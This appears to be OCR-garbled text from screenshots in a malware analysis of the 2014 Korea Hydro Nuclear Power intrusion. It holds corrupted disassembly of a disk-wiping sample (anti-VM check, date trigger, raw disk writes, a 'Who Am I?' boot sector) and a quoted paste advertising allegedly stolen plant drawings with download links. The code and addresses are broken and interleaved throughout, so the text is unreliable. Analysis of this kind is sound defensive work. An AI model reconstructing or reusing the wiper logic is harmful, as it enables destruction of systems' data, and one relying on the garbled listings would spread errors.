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nnset(&u?z 8, 8x1D0u);

u73 =
u7y =

0xBAu;
0x1Du;
BxEu;
8xChu;
0x10u;
BxE2u;
-
g
X ? o5
2 b
X2ty s
0x20u; ‘a
0x20u; o
0x20u; iy
0x20u; ‘R
0x20u; B
0x20u; ‘U
0x20u; v21 = E°;
0x20u; v22 = '0°;
0x20u; ~ =
0x20u;
0x20u; hDevice = result;
Bx20u; if ( result f= (HANDLE)-1 )
0x20u;

result = (HANDLE)sub_10001889();
Bx55u; ¥

OxAAU; return resull;
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result = CreateFileA(&FileNane, B6xCO000000u, 3u, O, 3u, 0, 8);

DeviceloControl(hDevice, 0x90018u, 0, 0, 0, 0, &BytesReturned, 8);
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¥ [Important] KHNP(Korea Hydro Nuclear Power) Hacked Data

BY: NNPP_KR ON DEC 18TH, 2014 (EDITED) | SYNTAX: NONE | 5IZE: 049 KB | VIEWS: 125 | EXPIRES: NEVER
DOWNLOAD | RAW | EMBED | REPORT ABUSE | PRIMNT

ACTIVATE A NEW RELIC FREE TRIAL AND
@ + | Laebi GET AN AWESOME FREEBIE! START FREE

Get 3 FREE . TRIAL >

MOMNTHS of
Code School

1. NNPP({Mo Nuclear Power Plant) publishes KHNP{Korea Hydro Nuclear Power) hacked data.

. https: S Svwew . dropbox. com/ s SwgBbgSmvanwnuy S KEHNPEZBContact. xlsx2dl=2 /) EHNPF Contact

4. https://waw.dropbox. com/s/mhkéegp2uytgvugi/Kori.zip?dl=08 //|Drawings of Kori Nuclear Power Plants

5. https://wew.dropbox. com/s/@526wenzeysthmj /Wolsong.zip?dl=8] // Drawings of Wolsong MWuclear Power Plants
6. https://waw.dropbox.com/s/xtd6psusSodpob?s /K-DOSEX2@00%20Ver.%202.1.2. jpe?dl=0 7/ Program Main Screen

. What is our next step?
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2. https://waw.dropbox.com/s/zgcézhdshrzddce /DRAWING_KORI_1.zip?dl=8
4. https://waw. dropbox. com/ s/ cxrySvndelpouvf /DRAWING_R14 Reactor Coolant System.zip?dl=9
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OEEFFFEN JE SHORT OEEFFFDE
OEEFFFEZ
OEEFFFE3
OEEFFFE4
OEEFFFES
OEEFFFER
OEEFFFE?
OEEFFFES
OEEFFFES
OEEFFFEC
OEEFFFF1 SHORT COEEFFFF7
OEEFFFF3
OEEFFFF?
OEEFFFFL SHORT CEFO00003
OEEFFFFF
OEFO0003
OEFO0005
OEFO000&




otMAE (Anti-VM)

Anti UM 1 sub_188836A8 proc near ; CODE XREF: sub_1808037C8+3B0Lp
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_18 = dword ptr -18h
var_8 = dword ptr -8
var_h = dword ptr -4
a88 5% push ebp
g8y 8B EC moy ebp, esp
a8y 6A FE push BFFFFFFFER
g88 68 68 41 61 1@ push offset unk_18814168
gec 68 80 B1 68 18 push offset  except handlerl
819 64 A1 00 OB 08 DA mau eax, large fs:@
818 58 push eax
814 83 EC 18 sub esp, 18h
824 53 push ebx
828 56 push esi
82c 57 push edi
830 A1 4C 58 81 18 mov eax, ___ security_cookie
838 31 45 FB sor [ebp+uar_8], eax
838 33 CS xor eax, ebp
838 58 push eax
834 BD 45 F@ lea eax, [ebp+var_18]
834 64 A3 OO0 DB DB DA mau large fs:8, eax
834 89 65 EB mov [ebp+uar_18], esp
834 C7¥ 45 FC 00 60 00 66 moy [ebp+var_4], B
834 5@ push eax
838 53 push ebx
83C 51 push ecx
auyB 52 il
B4y BB 68 58 4D 56 mowv eax, ‘UMKh®
844 B9 BA B8 A6 B8 mowv ecx, BAh
B4y 66 BA 58 56 moy dx, "UX*
auhy ED in eax, dx
o444 B9 5D EN mov [ebp+uvar_1C], ebx
o444 B9 4D EB mov [ebp+uar_ 28], ecx
auh 5A pop edx
a4g 59 pop BCx
83C G5B pop ebx
838 G5B pop eax

834 EB 89 jmp short loc_10883702




100010354

||

vl =

rand{) %

20;

sub_10001C70(0T),

dtack 35:[00B
ECK="77F3EC1O

Address

an ladh —_ I gl o
e e A R
5z FUSH EDX
50 EEIFTI R
FFL5 lDZEIEIllEI[ CALL DWORD PTR DS:[<cADVAPIGZ.Reqg? ADVAPISZ.RegSetValueExA
BEOCZ4 ETELEE TRV AT M L ML L
51 FUSH ECX ADVAPI3Z.77FSECLO 10001034
FF15 OCZ00110 | CALL DWORD PTR D%:[<sADVAPIGZ.Regl ADVAPI3Z.RegCloseKey
§ESCZ4 10010000 MOV ECY,DWORD PTR 55:[ESP+110]
33CC ¥OR ECX,ESF
Ed :
51 - =
caf DMZ(E) MEE) =EH2 SHASINA) EsZH)
cc B[] Microsaft D ZE= HI0lE

I l:] ODBC __ LY =] o e e L L
—{ | &8 number REG_DWORD (0000000 (10

I l:| Palicies

----- (1 Program Graups

H S_ : :m

mmimbmem A el

B

EIHKEY _LOCAL_MACHINEWSOFTWAREYPcasvec

|
| lH 2=



vl = _time64{0);
strand{uvi);
Ul = rand{) % 20;

uhr = twt,
uhi = "5’
uhly = "5’y
uhs = "gt g
uhis = "Lt
uhy = "d’;
uhi = 1" ;
uhe = "1°;
usa = B;

GetTempPathA_dword 18818584({268, &uiiil);
sprintf_s{&DstBuf, Ox184u, "%s5%s", &ubsl, &UL2);
GetSystembDirectoryfd dword 188184FC(&uLa3, 268);
uz = 28 = ui;
src = &kaBddsuc_dl1[28 = ul];
3

CopyFileA_dword 1801873B{&DstBuf, &ubsZz, @);
=SUBRET = "5 T

v3ez = ‘o' ;

uiAd = "F':

.data:10016420  0000000B C bddsvcdll
.data:10016434  0000000C c iconsve.dll
.data:10016448  0000000D c ehressvc.dll
.data:1001645C  0000000D c netstsve.dll
.data:10016470 00000009 C pnas.dll
.data:10016484 00000010 C pnrpmchname.dl|
.data:10016498  0000000B C pwpsve.dll
.data:100164AC  0000000B c pessvedll
.data:100164C0  0000000D c rregconf.dll
.data:100164D4 00000010 c scardmngsve.dil
.data:100164E8  0000000C C tepmsve.dll
.data:100164FC  0000000C C tschmng.dll
.data:10016510  0000000D c mmthread.dll
.data:10016524  0000000D C wemngsve.dll
.data:10016538  0000000B C coladj.dll
.data:1001654C  0000000E C wndmodmng.dll
.data:10016560 00000010 c timesyncsve.dll
.data:10016574 00000011 c wiredconfsve.dll
.data:10016588  0000000D c wlancenf.dll
.data:1001659C  0000000B C wstmng.dll

463, &aBddsvc_d11[28 = u1]);

(03 = CDocuments and SetingsWadministratorlocal Setings®Temp

=

) ~DF443E Amp

5 ~DFEAAZ fmp

& wessdl

=) Perflib_Perfdata_de8. dat

B SAFINA BRI

Q7=z-©Q @ Pz [m=o |FE

CEEH

37
16KB
KB
138K8

=l

138KB

i)

S ranmme sk an rem

i 02 HE =217




Compare_Time sub 18886CDA proc near ; CODE XREF: REAL_HAL_sub_18886E48+BCLp

g@8 5o push ebp
864 8B EC mnov ebp, esp
@@y 81 EC 28 @1 @@ a@o sub esp, 128h
12C A1 4C 58 81 1@ moy eax, _ security cookie
12C 33 C& Xor eax, ebp L= 2] ol
12C 89 45 EB mov [ebp-BHll], eax 2014'4 124 __]:0 =
12C 53 push  ebx Q™ 11A|] O|=
138 C7 45 FC 68 60 08 84 mnov dword ptr [ebp-H], @
138 C7 45 E4 60 00 00 00 ]
138 C7 45 F8 33 BC 6D 78 mou dword ptr [ebp-8], 2814121811
loc_18886CF9: ; CODE XREF: Compare_Time_sub_18886CD8+14B ]
136 B8 61 00 00 08 now eax, 1
136 85 Ca test eax, eax
138 6F 84 1A 61 00 0@ jz loc_-188686E2@
138 8D 4D ES8 lea ecx, [ebp-flEl]
138 51 push eCcx ; 1pSystemTime
134 FF 15 78 28 81 18 call ds:GetlLocalTime
138 B8F B7? 55 EB nouzx  edx, word ptr [ebp-[iEl]
138 69 D2 48 42 OF @@ imul edx, BF4248h
138 BF B7 45 EA nouzx  eax, word ptr [ebp-llli]
138 69 CA 18 27 00 0@ imul eax, 2718h
138 63 Da add edx, eax
138 B8F B7 4D EE movuzx  ecx, word ptr [ebp-fBR]
138 6B C? 64 imul ecx, 6Gih
138 83 DM add edx, ecx
138 BF B7 45 FB nouzx  eax, word ptr [ebp-[llli]
138 63 Da add edx, eax
138 89 55 E4 mov [ebp-l], edx
138 8B 4D EN4 mov ecx, [ebp- 1
138 3B 4D F8 cmp ecx, [ebp-#]

138 72 87 b short loc_ 18886047



Source Destinati Protocol Length Info

D 83 S port: 5 ’ Tnation
port: ination
port: )5 ination
port: ination
port: 52276 tination
Source port: ination

k_ﬂ Follow UDP Stream

sftteam. Contant

who am I? who am I? who am I? who am I? .who am I? who am I? who am

I? who am I? .who am I? who am I? who am I? Who am I? .who am I? who
am I7? who am I? who am I? .who am I? who am I? who am I7? who am

I? .who am I? who am I? who am I? who am I? .who am I? who am I? who
am I? who am I? .who am I? who am I? who am I? who am I? .who am I?

who am I? who am I? who am I? .who am I? who am I? wWho am I? who am

I? .who am I? who am I? who am I? who am I? .who am I? who am I? who
am I? who am I? .who am I? who am I? who am I? who am I? .who am I?

who am I? Who am I? who am I? .Who am I? who am I? Who am I? who am

I? .who am I? who am I? who am I? who am I? .who am I? who am I? who
am I? who am I? .who am I? who am I? wWho am I? who am I? .who am I?

who am I? who am I? who am I? .who am I? who am I? who am I? who am

I? .who am I? Who am I? who am I? who am I? .who am I? who am I? who
am I? who am I? .who am I? who am I? who am I? who am I? .who am I?

who am I? who am I? who am I? .who am I? who am I? who am I? who am

I? .who am I? who am I? who am I? who am I? .who am I? who am I? who
am I? who am I? .who am I? who am I? who am I? who am I? .who am I?

who am I? who am I? who am I? .who am I? who am I? wWho am I? who am

I? .who am I? who am I? who am I? who am I? .who am I? who am I? who
am I? who am I? .who am I? who am I? who am I? who am I? .who am I?

who am I? Who am I? who am I? .Who am I? who am I? Who am I? who am

I? .who am I? who am I? who am I? who am I? .who am I? who am I? who
am I? who am I? .who am I? who am I? Who am I? who am I? .who am I?

[WS] RUS] QUS| QUS| gUE] RUE]

[VS] VS| NN

[WEI QWS RWE| RUS| A USI NUSI RS RUE] RUE]| RUS| NUS] R WS RS RWE] REE]

[VS] VS| NN

[VS] VS| NN

> Entire conversation (7790 bytes) [
3
3 | Eind || SaveAs | Print |© AscH EBCDIC Hex Dump CAmays  © Raw
3

| Help | | Filter Qut This Stream | | Close

%] QUS| gUE] FUS)

ination

tination
ination
Destination po

W | w
[ N e

o M e e e W e e e e M et R e L e e e R D e e e R e

o L e L L M L et e M e e R e M W M D M e B D M D L R

el el

[WE] RUE]



Hiilg edx, edx

push ebp nou [eb
p+var_h6], ax = —_ e
mu: ebp, giﬂ nou [ebp+uar 44], "a° r<3 127|'|_°_| -|-|-I'OEI %!'ﬂ'xl-
-~ &P, it ki mov [ebp+uar_42], '1°
:g: s::’ EE—SEEUFI y_cookie mou [ebp+var_42], 'z°
mou [Eh,+uaE 8], eax noy [ebpruar_#1], © Xor edx, edx
mou [Ehp+uar_h], 8Ch =or ecx, ecx mov [ebp+uar_24], dx
mou [Ehp+uar_ﬁﬂi "h* mou [ebp+uar_kd], cx mou [ebp+var_22], dl
nou [EDP+UEF_EF], - nov [ebp+var_3E], cl nou [ebp+uar_21], ‘e’
mou [Ehp+uar_5E], P nou [ebpruar_3D], "z’ nov [ebptuvar_20], "x°
mou [ehp+uar_ED], ﬂp mou [ebp+uvar_3C], "i° nou [ebp+var_1F], ‘e’
xor Eaxp pax moy [N e mou [ebp+var_1E], 8
mou [Eh,+uar 5G], ax mov [ebpivar_3A], B =or eax, eax
mou [Ehp+uar_59], al xor edx, edx mou [ebp+var_1D], ax
mou [Ehp+uar_59], d mou [ebpruar_39], dx mou [ebp+var_1B], al
mou [Ehp+uar_58], ‘o' mow [ebpruar_37], dl nov [ebp+var_1A], "d’
mou [Ehp+uar_5?], o’ mow [ebpruar_36], ‘v’ nov [ebp+uvar_19], "1°
mou [Ehp+uar_56], 0 mow [ebpruar_35], "a’ nov [ebp+uvar_18], "1°
xor Ecxp pcx moy Gl gl o mou [ebp+var_17], 8
mou [Eh,+uar 55], cx mov [ebpivar_33], B =or ecx, ecx
mou [Ehp+uar_53], cl xor eax, Bax mou [ebp+var_16], cx
mov [Ehp+uar_52], n* mov [ebp+var_32], ax mov [ebp+uar_14], cl
mou Ehp+uar_51 : 'E' mow [ebpruar_30], al nov [ebp+var_13], 's’
mou Eehp+uar_5ﬂ}, Fr nov [ebp+var_2F], ‘e’ moy [ebp+uvar_12], 'y’
mou [Ehp+uar_uF], g mou [ebp+var_2E], "g° mou [ebp+var_11], ‘s’
XOF dep edx moy [ebp+var_2D], ‘g mov [ebp+uvar_1d8], @
mou [Eh,+uar 4E], d= mov [ebpivar_2C], 8 Xxor edx, edx
' “uel. ®or ecx, ecx moy [ebp+uar F], dx
mou [ebp+var_ 4C], dl . _
mou [ebp+uar 4B], *d° mow [ebpruar_2B], cx mov [ebp+uvar_D], dl
hP+ “na L. mou [ebp+var_29], cl
ey [Ehp+uar_ug], 2 mou [ebp+var_28], "i°
= Eshg+:::_us}, e mou  [ebpruar_27], "s-
= ¥ mouv ebp+uvar 267, ‘o°
mou [ebp+var_47], @ [ebp -26]

mou [ebp+var_25], @
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pooooooo
pooooole
poooooaz
oooooo4gs
poooD0e4
poooooao
poooooYe
poooniiz
pooonizae
pooon144
ooooniso
pooonlve
pooonigz
poooozog
pooonz24

00003936
0000395z
00003965
no00z9a4
oooo4o0oo
nooo04016
nooo40sz
nooo404s
00004064
oooo40so

o1 2 5 4 5 /7 5 9 10 11 12 13 14 15 -
oo 00 00 00 00 00 OO 00 OO0 00 00 00 00 00 00 00 f....eeennnnnnnnn [
oo 00 00 00 00 OO0 0O 00 OO0 00 OO0 00 OO0 o0 00 00 f...eeeeinnnnnnnn
oo 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 Q0.
oo 00 00 00 00 00 OO 00 OO0 00 00 00 00 00 00 00 f....eeennnnnnnnn =
oo 00 00 00 00 OO0 0O 00 OO0 00 OO0 00 OO0 o0 00 00 f...eeeeinnnnnnnn
oo 00 00 00 00 00 OO 00 OO0 00 00 00 00 00 00 00 f....eeennnnnnnnn
oo 00 00 00 00 OO0 0O 00 OO0 00 OO0 00 OO0 o0 00 00 f...eeeeinnnnnnnn
oo 00 00 00 00 00 OO 00 OO0 00 00 00 00 00 00 00 f....eeennnnnnnnn B
oo 00 00 00 00 00 OO 00 OO0 00 00 00 00 00 00 00 f....eeennnnnnnnn
oo 00 00 00 00 OO0 0O 00 OO0 00 OO0 00 OO0 o0 00 00 f...eeeeinnnnnnnn
oo 00 00 00 00 00 OO 00 OO0 00 00 00 00 00 00 00 f....eeennnnnnnnn
oo 00 00 00 00 OO0 0O 00 OO0 00 OO0 00 OO0 o0 00 00 f...eeeeinnnnnnnn
oo 00 00 00 00 00 OO 00 OO0 00 00 00 00 00 00 00 f....eeennnnnnnnn
00 00 00 00 OO0 00 OO 00 OO0 OO0 OO0 00 OO0 00 00 00 f....eeennnnnnnnn
oo 00 00 00 00 OO0 0O 00 OO0 00 OO0 00 OO0 o0 00 00 f....eeeinnnnnnnn
0o 00 OO 0O 00 OO0 OO0 OO OO0 OO0 OO0 00 00 00 00 00§,

0o 00 00 0O 00 OO0 00 00 00 00 00 00 00 00 00 00 f....eveinnnnnnn. i
0o 00 00 0O 00 OO0 00 00 00 00 00 00 00 00 00 00 f....eveinnnnnnn.
0o 00 OO 0O 00 OO0 OO0 OO OO0 OO0 OO0 00 00 00 00 00§,
0o 00 OO 0O 00 OO0 OO0 OO OO0 OO0 OO0 00 00 00 00 00§,
0o 00 00 0O 00 OO0 00 00 00 00 00 00 00 00 00 00 f....eveinnnnnnn. E
0o 00 00 0O 00 OO0 00 00 00 00 00 00 00 00 00 00 f....eveinnnnnnn.
0o 00 OO 0O 00 OO0 OO0 OO OO0 OO0 OO0 00 00 00 00 00§,
0o 00 OO 0O 00 OO0 OO0 OO OO0 OO0 OO0 00 00 00 00 00§, L
0o 00 00 0O 00 OO0 00 00 00 00 00 00 00 00 00 00 f....eveinnnnnnn. -
1

37|

4KB




uidd F Bx18u; Offset o1 2 3 4 5 & 7 8 9 A& B C D E_F

u3dh F 83 00000000 | BE 1Z 00 CD 10 BD 18 7C B2 18 00 B8 01 13 BB oC . ..I.%. 1., ..=».
35 F BxBBu; 00000010 | 00 BA 1D OE CD 10 E2 FE 57 68 G6F 20 41 6D 20 49 |.2..1.apWho Am I
vl F 1; 00000020 | 3F 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ||?

ui7 F 8x13u; 00000030 | 00 00 00 00 OO 00 00 00 00 OO0 00 00 00 00 00 00 f...veenennnnn..
u3ld F BxBBu; 00000040 | 00 00 00 00 OO0 OO0 00 00 00 00 OO0 00 00 00 00 00 f.oueeeennnnnnnn.
u30 F @xCu; 00000050 | 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 f.'vvenennnnnnnn.
vue EoB; 00000060 | 00 0O OO0 00 OO 00 00 00 00 OO0 00 00 00 00 00 00 f...eenennnnn..
vu1 k BxBAu; emset{&u72, @, @21DBu); 00000070 | 00 OO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f....covvvnnnn...
vz b ax1bu: 73 = Bx55u; 00000080 | 00 00 00 00 OO 00 00 OO0 00 00 00 00 00 00 00 00 f...eennnnn.n..
vi3 b oxEu: 74 = BxAAU; 000000590 | 00 00 00 00 OO0 00 00 00 00 00 OO0 00 00 00 00 00 f.ou.eeennnnnnnn.

0oo00o0AD § OO0 OO OO OO 0O 0O 0O 0O 00 0O 00 00 00 00 00 00 B evenvnninnnns

il F @xCDu;
! 000000BO § OO0 00 OO0 00 OO0 00 OO OO0 OO0 00 OO0 00 00 00 00 00 f.......ceeen.nn..

leMame = “H" ;

i

vhS I Bx10u; b= "W 3 000000co | 0D D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f.oeeeenenenn. ...
vhé I BxE2u; F="." 00000000 | 0D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 foeeeeeeenenn. ..
vh7 F BxFEu; Bo= W 000O00ED | 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 f.vveeeneennn ..
uhE WY D = 'pr- DOOOD0FD | OO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fevneerenaeenn...
uh9 E "h'; 19 = 'H:' 00000100 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f................
RELN e 00000110 | OO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 J.oeeeenennnnnn..
usi oot =¥ 00000120 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f.eeeeenee e ...
us2 k 'a’; 12 = *5°%; 00000130 | 00 00 00 00 00 0D 00 00 00 00 00 00 00 00 00 00 Jeeeeeeneennenn..
us3 F 'm'; 12 = "I"; 00000140 § OO0 00 OO OO0 OO0 OO0 OO OO0 OO0 00 OO0 00 00 00 00 00 f....vennennnnnnn
wsan kv 1 = ' ; 00000150 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f.eeeeeneeenr. ...
wss b orres 15 = "ar; 00000160 | OO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 feeeeeeneeene. ...
vse b s 16 o= L 00000170 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 feeeeeeneeene. ...
w57 b ex20u; - 'D': 00000180 | 00 00 00 00 00 0D 00 00 00 00 00 00 00 00 00 00 feeeeeeneennnnn..
vsg b ox20u- b 00000190 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 feeeeeeneenne.n..
veo | ax20u: 18 = "R"; 000001A0 | OO 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 f......... e
ven b ax20u 19 = '1*; 000001B0 | 00 00 00 00 00 00 00 00 91 CD DD 3C 40 00 00 00 f........ “tie. ...
vé1 | oxoou- o0 = *U*; 000001C0 | 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 f.eeeeeneeene. ...

[ ; 21 = “E*s 00000100 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 feeeeeeneenne.n..
v62 F Bx20u; o 000001ED | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 feeeeeeneennenn..
“gi i g“;g“; 22 = "B%; 000001FD | 0D 00 D0 00 00 00 00 00 00 00 00 00 00 00 55 A& fovoeeeenn.... s
u = Bx28u; 2o = _R-
UG5 F @x28u; Deuice = CreateFileA{&FileHame, B@xCHOB0000u, 3u, B8, Ju, 6, \8);
vee F Bx20u; F { hDevice ?= (HANDLE)}-1 )

gy F Bx20u;
el Eb kot DeviceloControl{hDevice, 0x906818u, 8, 0, 8, 0, &BytesReturned, 0);
v7o b Bx2ou; sub_ uid;

v71 k Bx2ou;




FaH L5
FAH LS
FAHL
FAHL
AR
FAH kS
FLH R
FC A5
PR
fCaB
fCBE
fG11
fC14
fC14
fC14
AL
fC16
fC16
fC16
fC16
fC18
fG31

B8
cD

BD
B9
B8
BB
BA
CD

E2

&7
ga

12
18

18
18
a1
ac
1D
18

FE

68 6F 28 41 6D 28 49+

FiLF
ag
13
aa
8E

seqBgg segment byte public 'CODE' usel6
assume cs:seq@dda
;org FCHAh
assume_es:nothing, ss:nothing, ds:r
mou ax, 12h
int 18h : — UIDED -
» AL = mode
mou bp, /C18h
mou cx, 18h
mou ax, 13@1h
mow bx, HCh
mouw dx, BE1Dh
int 18h : — UIDED -
» AL = mode
: DH,DL = r
; ES:BP ->
loc_7C16: : CODE XREF
loop loc_7C16
aWhoAmI? db | *Who Am I? 'lﬂ
db o
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lea edx, [ebp-188h] lea
mov dword ptr [edx], G6E72656Bh mov

edx, [ebp-188h]
dword ptr [edx], 6E72656Bh

—r o
Q}A_?:I O3 nov dword ptr [edx+h], 32336C65h K|mSUk OFM 3 C nov duord ptr [edx+h4], 32336C65h
— T = 1T04+-—— nov dword ptr [edx+8], 6CGCEL2ER y 1 o-1t-—— nov duord ptr [edx+8], 6C6C642ER
mou byte pty [edx+BCh], @ mouv byte ptr [edx+8Ch], @
zor BCxX, BCX ®or ecx, ecx
push ebp push ebp
push BCX push BCX
push BCX push BCX
push edx push edx
mou ebx, 27EB3A9Dh mou ebx, 27EB3A9Dh
call sub_B call sub_B
pop ebp pop ebp
mov [ebp-18h], eax mouv [ebp-14h], eax
push ebp push ebp
Zor eax, eax xor eax, eax
push 288h push 286h
push 46h ; '@’ push Lah ; ‘@'
mou ebx, BBFGB6B1CHh mou ebx, BBFGBGB1CH
®0r ecx, ecx %or BCxX, BCx
inc [ inc ecx
call sub_B call sub_B
pop ebp pop ebp
mov [ebp-8Ch], eax mou [ebp-BCh], eax
mov dword ptr [eax], "eton’ mov dword ptr [eax], "eton’
mov dword ptr [eax+4], °.dap’ | mov dword ptr [eax+4], ' .dap’
mov dword ptr [eax+8], "exe’ mov dword ptr [eax+8 ‘exe’
push ebp I push ebp P [ I
®or eax, eax %or eax, eax
push 258E6h push G74EBD
push 46h ; '@" push 4Bh ; '@’
mov ebx, BBF6B6B1CH mou ehx,,BBFﬁﬂﬁﬂ1Bh
Zor ecx, ecx xor ecx, ecx
inc ecx inc ecx
call sub_B call sub_B
pop ebp pop ebp
mou [ebp-18h], eax mouv [ebp-18h], eax
zor edx, edx %or edx, edx
moy [ebp-48h], edx mov [ebp-48h], edx
mow edx, 1300088h mov edx, 138806h
loc_18a: ; CODE XREF: se loc_10A: ; CODE XREF: se
; seq@Ad:eaanaq ; Segaee:oaeam
add edx, 1888h add edx, 1888h
lea eax, [ebp-96h] lea eax, [ebp-98h]
push edx push edx
push ebp push ebp
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